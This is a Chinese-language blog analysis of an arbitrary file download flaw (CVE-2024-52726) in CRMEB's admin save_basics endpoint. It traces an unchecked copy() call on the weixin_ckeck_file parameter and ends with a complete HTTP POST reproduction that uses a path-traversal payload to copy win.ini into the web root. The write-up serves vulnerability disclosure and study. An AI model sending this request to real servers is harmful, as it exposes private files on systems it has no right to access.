CRMEB任意文件下载漏洞分析(CVE-2024-52726)

CRMEB任意文件下载漏洞分析(CVE-2024-52726)

一、漏洞简介

​app/adminapi/controller/v1/setting/SystemConfig.php​路由中存在任意文件下载漏洞

二、影响版本

<= v5.4.0

三、环境搭建

配置phpstudy,将网站的运行目录,设置在public​目录下

图片.png

设置伪静态

图片.png

四、漏洞原理分析

该系统采用前后端分离技术,基于ThinkPHP6+elementUI+Uni-app框架开发

首先我们查看路由,看到这是一个后台的任意文件下载,并且/adminapi/setting/config/save_basics​路径会进去到 v1.setting.SystemConfig/save_basics​ 这个路径下

图片.png
受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save_basics.php​文件的save_basics​中

这里从请求中获取 POST 参数,然后遍历 POST 数据的每个键值对,$k​ 表示字段名,$v​ 表示字段值。

图片.png

接着是一系列的判断,判断post​参数是否存在这些,然后在weixin_ckeck_file​post参数中,存在copy​函数,可以将文件进行复制的一个操作

图片.png

接着跟踪代码,发现public_path​就是在public​目录,这里存在copy​文件到public​目录下的一个操作

图片.png

分析$to = public_path() . array_reverse(explode('/', $post['weixin_ckeck_file']))[0];​这个代码,就是将字符串按 /​ 分割成一个数组,然后提取最后一个部分(就是文件名),然后拼接到public​目录下

进行动调一下,看看是否和我们之前描述的一样。

图片.png

可以看到,结果就是我们所描述的那种。并且由于是thinkphp的框架,所以运行的目录也是在public​目录下面。因此可以直接去访问那个文件,便可以进行下载文件。

五、漏洞复现

POST /adminapi/setting/config/save_basics HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Authori-zation: 
Cookie: cb_lang=zh-cn;
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json;charset=utf-8
Content-Length: 72

{
    "weixin_ckeck_file": "../../../../../../../../Windows/win.ini"
}

图片.png

然后访问直接win.ini便可以下载win.ini文件

图片.png

六、总结

这是一个由于copy​函数没有严格控制路径问题,导致存在一个任意文件下载的操作。

  • 发表于 2024-12-11 10:00:00
  • 阅读 ( 7747 )
  • 分类:CMS

1 条评论

4everup
学习
请先 登录 后评论
请先 登录 后评论
kode
kode

2 篇文章

站长统计